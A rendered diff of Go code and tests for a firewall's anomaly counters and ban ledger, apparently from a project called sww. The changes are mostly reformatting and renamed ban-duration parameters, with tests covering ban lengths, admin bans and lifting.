name: c.Name,
}
} }
// counter returns a counter for k, with nothing counted yet. // counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter { func (k key) counter() *Counter {
return &Counter{ return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
} }
// alertFor returns the anomaly alert for o, a count over its threshold in // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN, ASN: r.ASN,
ASName: r.ASName, ASName: r.ASName,
Country: r.Country, Country: r.Country,
Reason: fmt.Sprintf( Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
"%s per %s of %s over the threshold of %d", counted, o.threshold),
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail, Detail: detail,
} }
} }
+15 -44
View File
@@ -26,15 +26,12 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{ counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, WatchedNet: overAtTheSecond, Total: overAtTheSecond, Watch: overAtTheSecond,
// The netblock around a client is the client's own, and two names // The netblock around a client is the client's own, and two names
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
{ {Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
}, },
Alerts: queue, Alerts: queue,
}) })
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
} }
if after.Suppressed() != 9 { if after.Suppressed() != 9 {
t.Errorf( t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
} }
} }
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
got := counters.Snapshot() got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) { !holds(got, maxCounters) {
t.Errorf( t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"%d counters, holding the first client %v, the second %v and the "+ "new one %v, want %d, the first and the new one", len(got), holds(got, 0),
"new one %v, want %d, the first and the new one", holds(got, 1), holds(got, maxCounters), maxCounters)
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
} }
} }
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{ Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000}, Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
}) })
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
} }
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, got, want) {
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want) t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
} }
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) { if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf( t.Errorf("holding the first client of the file %v, and the first counted in "+
"holding the first client of the file %v, and the first counted in "+ "the minute before %v, want only the first", holds(got, 0),
"the minute before %v, want only the first", holds(got, maxCounters/2))
holds(got, 0),
holds(got, maxCounters/2),
)
} }
} }
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in // request returns a request from client number i, an address in
// 10.0.0.0/8. // 10.0.0.0/8.
func request(i int) anomaly.Request { func request(i int) anomaly.Request {
client := netip.MustParseAddr( client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{ return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
} }
// holds reports whether counters hold the counter of client number i. // holds reports whether counters hold the counter of client number i.
+42 -146
View File
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// then one with an admin's ban before a ban sww made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
Netblock: adminsOnly, {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
Start: midnight().Add(-3 * time.Hour), {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{ {
Netblock: both, Netblock: both,
Start: midnight(), Start: midnight(),
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// A new ban drops the ban sww made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin { if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf( t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
} }
// And the next drops that one. // And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{}) ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
} }
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended. // twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins") "probes for logins")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first // A ban on another netblock fills the ledger, and the netblock's first
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit( limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
midnight(), byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
) attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
byteLimit, _ := ledger.BanForLimit( bans.Notes{RuleID: "git-dir", Target: "path"})
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{ for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"}, {limit.Reason, "requests per minute over the limit of 1000"},
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour || if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf( t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
} }
} }
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
active, permanent := ledger.Count(now) active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 { if active != 0 || permanent != 0 {
t.Errorf( t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
"%d bans are active and %d permanent, want none",
active,
permanent,
)
} }
// The next clear sign of attack bans for seven days, as a first does. // The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day { if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf( t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
} }
} }
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit( made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
atStart := bans.Ban{ atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"), Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(), Start: midnight(),
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart}) ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 { if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf( t.Fatalf("%d bans made by an admin after the start's, want none", got)
"%d bans made by an admin after the start's, want none",
got,
)
} }
// The admin keeps the ban sww made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
} }
ledger.LoadEdit([]bans.Ban{kept, atStart, added}) ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
ledger.Made(bans.CauseLimit) != 1 { t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
t.Errorf( ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
} }
} }
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
} }
got := ledger.BanForAdmin( got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
netip.MustParsePrefix("203.0.113.9/24"), "probes for logins")
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
} }
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find( ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf( t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
"after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want)
ban,
banned,
want,
)
} }
} }
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute) now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now) lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
lifted[1].Lifted != now { t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client) covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide || if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now { !covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf( t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"the bans covering the client are %+v, want the /24's and both "+ "of its own, the earlier not lifted", covering)
"of its own, the earlier not lifted",
covering,
)
} }
// With none active, nothing is lifted or changed. // With none active, nothing is lifted or changed.
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParseAddr("203.0.113.9") client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first. // The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.9/32"), ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
midnight(), "for good")
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
} }
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin( ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
netblock, "for an hour")
midnight().Add(time.Minute),
midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan( wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
} }
// wantPermanentBan checks that Find and Check return a permanent ban for // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -481,12 +382,7 @@ func wantPermanentBan(
} { } {
ban, banned, _ := look(client, now) ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
} }
} }
} }
+28 -100
View File
@@ -49,9 +49,9 @@ type Params struct {
// CrowdSec's decision, a broken limit counts as a repeat, which bans for // CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban. // repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration LimitBanRepeatWindow time.Duration
// LimitBanPermanentAbove is the longest ban for a broken limit; one that would // MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead. // be longer is permanent instead.
LimitBanPermanentAbove time.Duration MaxBanDuration time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack // AttackBanDuration is how long a first ban for a clear sign of attack
// lasts. // lasts.
AttackBanDuration time.Duration AttackBanDuration time.Duration
@@ -105,7 +105,7 @@ type Notes struct {
Country string `json:"country"` Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit, // Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a // what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the refusal limit, the limit that was // byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached: // broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the // the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included. // request that broke the limit included.
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for // of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the // one for a request for a path in SWW_TRAP_PATHS, that path as the
// client sent it. // client sent it.
RuleID string `json:"rule_id,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"` Target string `json:"target,omitempty"`
@@ -199,7 +199,7 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of // netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its // them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX, // netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock. // or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int v4Lengths, v6Lengths []int
} }
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
math.MaxInt,
nil,
)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
} }
@@ -306,7 +303,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// last, other than one for a clear sign of attack or for CrowdSec's // last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts // decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer // repeatFactor times as long as that one. A ban that would be longer
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still // than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is // active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the // returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason // notes' Refused and EarlierBans itself, and gives the ban the reason
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
netblock, false)
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
} }
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision. // decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec( func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, true)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
} }
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done. // the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec( func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, false)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last // about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes // seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are. // are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup( func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that // keep is true, the ban is not made, only returned: it is the ban that
// would have been made. // would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool, keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
} }
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{ ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause { switch cause {
case CauseAttack: case CauseAttack:
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
var first *Ban var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get( bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if !found { if !found {
continue continue
} }
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban var found []*[]Ban
for _, length := range lengths { for _, length := range lengths {
bans, ok := l.netblocks.Peek( bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if ok { if ok {
found = append(found, bans) found = append(found, bans)
} }
@@ -922,26 +852,24 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
} }
if last != nil && if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor { if lastLength > l.params.MaxBanDuration/repeatFactor {
return time.Time{} return time.Time{}
} }
length = repeatFactor * lastLength length = repeatFactor * lastLength
} }
if length > l.params.LimitBanPermanentAbove { if length > l.params.MaxBanDuration {
return time.Time{} return time.Time{}
} }
+66 -219
View File
